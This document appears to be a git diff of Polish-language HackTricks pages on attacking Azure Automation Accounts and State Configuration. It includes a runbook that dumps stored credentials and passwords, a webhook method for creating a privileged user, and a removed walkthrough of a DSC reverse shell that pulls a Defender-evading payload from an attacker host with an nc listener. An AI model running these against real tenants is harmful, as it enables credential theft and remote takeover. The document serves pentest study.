||||
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **Konstrukcja Stanu** to usługa zarządzania konfiguracją Azure, która pozwala na pisanie, zarządzanie i kompilowanie PowerShell Desired State Configuration (DSC) [konfiguracji](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) dla węzłów w dowolnej chmurze lub w lokalnym centrum danych. Usługa importuje również [Zasoby DSC](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) i przypisuje konfiguracje do docelowych węzłów, wszystko w chmurze. Możesz uzyskać dostęp do Azure Automation State Configuration w portalu Azure, wybierając **Konfiguracja stanu (DSC)** w sekcji **Zarządzanie konfiguracją**.
|
||||
|
||||
**Wrażliwe informacje** mogą być znalezione w tych konfiguracjach.
|
||||
|
||||
### RCE
|
||||
|
||||
Możliwe jest nadużycie SC do uruchamiania dowolnych skryptów na zarządzanych maszynach.
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeracja
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
### Utwórz Runbook
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
|
||||
|
||||
# Create a Powershell Runbook
|
||||
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
|
||||
|
||||
# Publish the Runbook
|
||||
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
### Ekstrahowanie poświadczeń i zmiennych zdefiniowanych w koncie automatyzacji za pomocą Run Book
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
$creds = Get-AutomationPSCredential -Name <credentials_name>
|
||||
$runbook_variable = Get-AutomationVariable -name <variable_name>
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password
|
||||
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
|
||||
|
||||
$ResourceGroupName = '<resource_group_name>'
|
||||
$AutomationAccountName = '<auto_acc_name>'
|
||||
$RunBookName = 'Exif-Credentials' #Change this for stealthness
|
||||
|
||||
# Creare Run book, publish, start, and get output
|
||||
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
|
||||
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
|
||||
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
> [!NOTE]
|
||||
> Możesz zrobić to samo, modyfikując istniejący Run Book i z konsoli internetowej.
|
||||
|
||||
### Kroki do skonfigurowania automatycznego tworzenia użytkownika z wysokimi uprawnieniami
|
||||
|
||||
#### 1. Zainicjuj konto automatyzacji
|
||||
|
||||
- **Wymagana akcja:** Utwórz nowe konto automatyzacji.
|
||||
- **Specyficzne ustawienie:** Upewnij się, że "Utwórz konto Azure Run As" jest włączone.
|
||||
|
||||
#### 2. Importuj i skonfiguruj Runbook
|
||||
|
||||
- **Źródło:** Pobierz przykładowy runbook z [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
|
||||
- **Wymagane akcje:**
|
||||
- Importuj runbook do konta automatyzacji.
|
||||
- Opublikuj runbook, aby był wykonywalny.
|
||||
- Dołącz webhook do runbooka, umożliwiając zewnętrzne wyzwalacze.
|
||||
|
||||
#### 3. Skonfiguruj moduł AzureAD
|
||||
|
||||
- **Wymagana akcja:** Dodaj moduł AzureAD do konta automatyzacji.
|
||||
- **Dodatkowy krok:** Upewnij się, że wszystkie moduły automatyzacji Azure są zaktualizowane do najnowszych wersji.
|
||||
|
||||
#### 4. Przydzielanie uprawnień
|
||||
|
||||
- **Role do przydzielenia:**
|
||||
- Administrator użytkowników
|
||||
- Właściciel subskrypcji
|
||||
- **Cel:** Przydziel te role do konta automatyzacji w celu uzyskania niezbędnych uprawnień.
|
||||
|
||||
#### 5. Świadomość potencjalnej utraty dostępu
|
||||
|
||||
- **Uwaga:** Bądź świadomy, że skonfigurowanie takiej automatyzacji może prowadzić do utraty kontroli nad subskrypcją.
|
||||
|
||||
#### 6. Wyzwól tworzenie użytkownika
|
||||
|
||||
- Wyzwól webhook, aby utworzyć nowego użytkownika, wysyłając żądanie POST.
|
||||
- Użyj dostarczonego skryptu PowerShell, upewniając się, że zastępujesz `$uri` swoim rzeczywistym adresem URL webhooka i aktualizujesz `$AccountInfo` pożądanym nazwą użytkownika i hasłem.
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-57
@@ -1,57 +0,0 @@
|
||||
# Az - State Configuration RCE
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Sprawdź pełny post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Podsumowanie przygotowania infrastruktury serwera zdalnego (C2) i kroków
|
||||
|
||||
#### Przegląd
|
||||
|
||||
Proces polega na skonfigurowaniu infrastruktury serwera zdalnego do hostowania zmodyfikowanego ładunku Nishang `Invoke-PowerShellTcp.ps1`, nazwanego `RevPS.ps1`, zaprojektowanego w celu ominięcia Windows Defender. Ładunek jest serwowany z maszyny Kali Linux o IP `40.84.7.74` przy użyciu prostego serwera HTTP w Pythonie. Operacja jest realizowana w kilku krokach:
|
||||
|
||||
#### Krok 1 — Utwórz pliki
|
||||
|
||||
- **Wymagane pliki:** Potrzebne są dwa skrypty PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Plik Desired State Configuration (DSC), który pobiera i wykonuje ładunek. Można go uzyskać z [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Skrypt do publikacji konfiguracji na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- **Dostosowanie:** Zmienne i parametry w tych plikach muszą być dostosowane do specyficznego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/ładunku.
|
||||
|
||||
#### Krok 2 — Spakuj plik konfiguracyjny
|
||||
|
||||
- Plik `reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co czyni go gotowym do transferu do Azure Storage Account.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
#### Krok 3 — Ustaw kontekst przechowywania i przesyłanie
|
||||
|
||||
- Zszyfrowany plik konfiguracyjny jest przesyłany do zdefiniowanego kontenera Azure Storage, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent z Azure.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
#### Krok 4 — Przygotowanie Kali Box
|
||||
|
||||
- Serwer Kali pobiera ładunek RevPS.ps1 z repozytorium GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
- Skrypt jest edytowany, aby określić docelową maszynę wirtualną Windows i port dla odwrotnego powłoki.
|
||||
|
||||
#### Krok 5 — Publikacja pliku konfiguracyjnego
|
||||
|
||||
- Plik konfiguracyjny jest wykonywany, co skutkuje wdrożeniem skryptu odwrotnej powłoki w określonej lokalizacji na maszynie wirtualnej Windows.
|
||||
|
||||
#### Krok 6 — Hostowanie ładunku i ustawienie nasłuchu
|
||||
|
||||
- Uruchamiany jest Python SimpleHTTPServer, aby hostować ładunek, wraz z nasłuchiwaczem Netcat do przechwytywania przychodzących połączeń.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
- Zaplanowane zadanie wykonuje ładunek, osiągając uprawnienia na poziomie SYSTEM.
|
||||
|
||||
#### Wnioski
|
||||
|
||||
Pomyślne wykonanie tego procesu otwiera liczne możliwości dalszych działań, takich jak zrzut poświadczeń lub rozszerzenie ataku na wiele maszyn wirtualnych. Przewodnik zachęca do dalszej nauki i kreatywności w dziedzinie Azure Automation DSC.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,227 @@
|
||||
# Az - Konta Automatyzacji
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe Informacje
|
||||
|
||||
Konta Automatyzacji Azure to usługi w chmurze w Microsoft Azure, które pomagają **automatyzować zadania** takie jak zarządzanie zasobami, konfiguracja i aktualizacje w środowiskach Azure i lokalnych. Oferują **Runbooki** (skrypty do automatyzacji, które są wykonywane), **harmonogramy** oraz **grupy pracowników hybrydowych** do uruchamiania automatycznych **zadań**, umożliwiając infrastrukturę jako kod (IaC) oraz automatyzację procesów w celu poprawy efektywności i spójności w zarządzaniu zasobami chmurowymi.
|
||||
|
||||
### Ustawienia
|
||||
|
||||
- **Poświadczenia**: Hasło jest dostępne tylko w runbooku wewnątrz konta automatyzacji, służą do **bezpiecznego przechowywania nazw użytkowników i haseł**.
|
||||
- **Zmienne**: Służą do przechowywania **danych konfiguracyjnych**, które mogą być używane w runbookach. Mogą to być również wrażliwe informacje, takie jak klucze API. Jeśli zmienna jest **przechowywana w zaszyfrowanej formie**, jest dostępna tylko w runbooku wewnątrz konta automatyzacji.
|
||||
- **Certyfikaty**: Służą do przechowywania **certyfikatów**, które mogą być używane w runbookach.
|
||||
- **Połączenia**: Służą do przechowywania **informacji o połączeniach** z zewnętrznymi usługami. Mogą zawierać **wrażliwe informacje**.
|
||||
- **Dostęp do sieci**: Może być ustawiony na **publiczny** lub **prywatny**.
|
||||
|
||||
## Runbooki i Zadania
|
||||
|
||||
Runbook w Azure Automation to **skrypt, który automatycznie wykonuje zadania** w Twoim środowisku chmurowym. Runbooki mogą być pisane w PowerShell, Pythonie lub edytorach graficznych. Pomagają automatyzować zadania administracyjne, takie jak zarządzanie VM, łatanie lub kontrole zgodności.
|
||||
|
||||
W **kodzie** znajdującym się w **Runbookach** mogą znajdować się **wrażliwe informacje** (takie jak poświadczenia).
|
||||
|
||||
Przejdź do `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
**Zadanie to instancja wykonania Runbooka**. Kiedy uruchamiasz Runbook, tworzone jest zadanie, aby śledzić to wykonanie. Każde zadanie zawiera:
|
||||
|
||||
- **Status**: W kolejce, W trakcie, Zakończone, Niepowodzenie, Wstrzymane.
|
||||
- **Wynik**: Rezultat wykonania Runbooka.
|
||||
- **Czas rozpoczęcia i zakończenia**: Kiedy zadanie się rozpoczęło i zakończyło.
|
||||
|
||||
Zadanie zawiera **wynik** wykonania **Runbooka**. Jeśli możesz **czytać** **zadania**, rób to, ponieważ **zawierają** **wynik** uruchomienia (potencjalnie **wrażliwe informacje**).
|
||||
|
||||
### Harmonogramy i Webhooki
|
||||
|
||||
Istnieją 3 główne sposoby na wykonanie Runbooka:
|
||||
|
||||
- **Harmonogramy**: Służą do **wyzwalania** Runbooków w **określonym czasie** lub **interwale**.
|
||||
- **Webhooki**: To **punkty końcowe HTTP**, które mogą być używane do **wyzwalania** Runbooków z **zewnętrznych usług**. Należy pamiętać, że adres URL webhooka jest **niewidoczny** po utworzeniu.
|
||||
- **Ręczne wyzwolenie**: Możesz **ręcznie wyzwolić** Runbook z portalu Azure i z CLI.
|
||||
|
||||
### Kontrola Źródła
|
||||
|
||||
Pozwala na importowanie Runbooków z **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Możliwe jest wskazanie, aby publikować Runbooki repozytorium do konta automatyzacji Azure, a także możliwe jest wskazanie, aby **synchronizować zmiany z repozytorium** do konta automatyzacji Azure.
|
||||
|
||||
Gdy synchronizacja jest włączona, w **repozytorium Github tworzony jest webhook** do wyzwalania synchronizacji za każdym razem, gdy wystąpi zdarzenie push. Przykład adresu URL webhooka: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Należy pamiętać, że te webhooki **nie będą widoczne** podczas wyświetlania webhooków w powiązanych runbookach z repozytorium Github. Należy również pamiętać, że **nie można zmienić adresu URL repozytorium** kontroli źródła po jego utworzeniu.
|
||||
|
||||
Aby skonfigurowana kontrola źródła działała, **Konto Automatyzacji Azure** musi mieć zarządzaną tożsamość (systemową lub użytkownika) z rolą **`Contributor`**. Ponadto, aby przypisać zarządzaną tożsamość użytkownika do Konta Automatyzacji, można to zrobić, ustawiając zmienną **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** na **Client ID zarządzanej tożsamości użytkownika**.
|
||||
|
||||
### Środowiska Uruchomieniowe
|
||||
|
||||
Podczas tworzenia Runbooka można wybrać środowisko uruchomieniowe. Domyślnie dostępne są następujące środowiska uruchomieniowe:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
- **PowerShell 7.2**
|
||||
- **Python 3.10**
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
Jednak możliwe jest również **tworzenie własnych środowisk**, używając jednego z tych jako bazy. W przypadku Pythona możliwe jest przesyłanie pakietów `.whl` do środowiska, które będą używane. W przypadku PowerShell możliwe jest przesyłanie pakietów `.zip` z modułami, które mają być w runtime.
|
||||
|
||||
### Pracownik Hybrydowy
|
||||
|
||||
Runbook może być uruchamiany w **kontenerze w Azure** lub w **Pracowniku Hybrydowym** (maszyna niebędąca w Azure).\
|
||||
**Agent Log Analytics** jest wdrażany na VM, aby zarejestrować go jako pracownika hybrydowego.\
|
||||
Zadania pracowników hybrydowych działają jako **SYSTEM** w Windows i jako konto **nxautomation** w Linux.\
|
||||
Każdy Pracownik Hybrydowy jest zarejestrowany w **Grupie Pracowników Hybrydowych**.
|
||||
|
||||
Dlatego, jeśli możesz wybrać uruchomienie **Runbooka** w **Windows Hybrid Worker**, będziesz wykonywać **dowolne polecenia** wewnątrz zewnętrznej maszyny jako **System** (fajna technika pivotowania).
|
||||
|
||||
### Konfiguracja Stanu (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> Jak wskazano w [dokumentacji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Konfiguracja Stanu Automatyzacji Azure zostanie wycofana 30 września 2027 roku i zastąpiona przez [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
Konta Automatyzacji również wspierają **Konfigurację Stanu (SC)**, która jest funkcją pomagającą w **konfigurowaniu** i **utrzymywaniu** **stanu** Twoich VM. Możliwe jest **tworzenie** i **stosowanie** konfiguracji DSC do **maszyn Windows** i **Linux**.
|
||||
|
||||
Z perspektywy atakującego było to interesujące, ponieważ pozwalało na **wykonywanie dowolnego kodu PS we wszystkich skonfigurowanych VM**, co pozwalało na eskalację uprawnień do zarządzanych tożsamości tych VM, potencjalnie pivotując do nowych sieci... Ponadto, konfiguracje mogły zawierać **wrażliwe informacje**.
|
||||
|
||||
## Enumeracja
|
||||
```bash
|
||||
# List Automation Accounts
|
||||
az automation account list --output table
|
||||
|
||||
# Get Automation Account details
|
||||
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
|
||||
# Check the managed identities in `identity`
|
||||
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get keys of automation account
|
||||
## These are used for the DSC
|
||||
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get schedules of automation account
|
||||
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get connections of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
|
||||
|
||||
# Get connection details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
|
||||
|
||||
# Get credentials of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
|
||||
|
||||
# Get credential details
|
||||
## Note that you will only be able to access the password from inside a Runbook
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
|
||||
|
||||
# Get certificates of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
|
||||
|
||||
# Get certificate details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
|
||||
|
||||
# Get variables of automation account
|
||||
## It's possible to get the value of unencrypted variables but not the encrypted ones
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
|
||||
|
||||
# Get variable details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
|
||||
|
||||
# Get runbooks of an automation account
|
||||
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get runbook details
|
||||
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
|
||||
|
||||
# Get runbook content
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
|
||||
|
||||
# Get jobs of an automation account
|
||||
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get job details
|
||||
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
|
||||
|
||||
# Get job output
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
|
||||
# Get the Runbook content when the job was executed
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
|
||||
|
||||
# Get webhooks inside an automation account
|
||||
## It's possible to see to which runbook it belongs in the given data
|
||||
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
|
||||
## Generating a webhook can be useful from a persistence perspective
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
az automation runtime-environment list \
|
||||
--resource-group <res-group>> \
|
||||
--automation-account-name <account-name> \
|
||||
--query "[?!(starts_with(description, 'System-generated'))]"
|
||||
|
||||
# Get State Configurations (SC) of an automation account
|
||||
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get State Configuration details
|
||||
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
|
||||
# Get State Configuration content
|
||||
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
## Eskalacja Uprawnień i Po Eksploatacji
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -12,7 +12,7 @@ az-azure-network.md
|
||||
|
||||
## Podstawowe informacje o VM
|
||||
|
||||
Maszyny Wirtualne (VM) Azure to elastyczne, na żądanie **serwery w chmurze, które pozwalają na uruchamianie systemów operacyjnych Windows lub Linux**. Umożliwiają wdrażanie aplikacji i obciążeń bez zarządzania fizycznym sprzętem. Maszyny Wirtualne Azure mogą być konfigurowane z różnymi opcjami CPU, pamięci i przechowywania, aby spełniać konkretne potrzeby i integrować się z usługami Azure, takimi jak wirtualne sieci, przechowywanie i narzędzia zabezpieczeń.
|
||||
Maszyny Wirtualne (VM) w Azure to elastyczne, na żądanie **serwery w chmurze, które pozwalają na uruchamianie systemów operacyjnych Windows lub Linux.** Umożliwiają wdrażanie aplikacji i obciążeń bez zarządzania fizycznym sprzętem. Maszyny Wirtualne Azure mogą być konfigurowane z różnymi opcjami CPU, pamięci i przechowywania, aby spełniać konkretne potrzeby i integrować się z usługami Azure, takimi jak wirtualne sieci, przechowywanie i narzędzia zabezpieczeń.
|
||||
|
||||
### Konfiguracje zabezpieczeń
|
||||
|
||||
@@ -28,15 +28,15 @@ Maszyny Wirtualne (VM) Azure to elastyczne, na żądanie **serwery w chmurze, kt
|
||||
- **Brak**: Zasadniczo otwiera każdy port
|
||||
- **Podstawowe**: Umożliwia łatwe otwieranie portów przychodzących HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Zaawansowane**: Wybierz grupę zabezpieczeń
|
||||
- **Kopia zapasowa**: Możliwe jest włączenie **Standardowej** kopii zapasowej (raz dziennie) i **Ulepszonej** (wielokrotnie dziennie)
|
||||
- **Kopia zapasowa**: Możliwe jest włączenie **Standardowej** kopii zapasowej (raz dziennie) i **Ulepszonej** (wiele razy dziennie)
|
||||
- **Opcje orkiestracji poprawek**: Umożliwia automatyczne stosowanie poprawek w VM zgodnie z wybraną polityką, jak opisano w [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Powiadomienia**: Możliwe jest automatyczne otrzymywanie powiadomień e-mail lub w aplikacji mobilnej, gdy coś się wydarzy w VM. Domyślne zasady:
|
||||
- **Alerty**: Możliwe jest automatyczne otrzymywanie alertów e-mailem lub aplikacją mobilną, gdy coś się wydarzy w VM. Domyślne zasady:
|
||||
- Procent CPU jest większy niż 80%
|
||||
- Dostępna pamięć bajtów jest mniejsza niż 1GB
|
||||
- Dostępna pamięć bajtów jest mniejsza niż 1 GB
|
||||
- Procent zużycia IOPS dysków danych jest większy niż 95%
|
||||
- Procent zużycia IOPS systemu operacyjnego jest większy niż 95%
|
||||
- Całkowita sieć jest większa niż 500GB
|
||||
- Całkowita sieć wychodząca jest większa niż 200GB
|
||||
- Całkowita sieć jest większa niż 500 GB
|
||||
- Całkowita sieć wychodząca jest większa niż 200 GB
|
||||
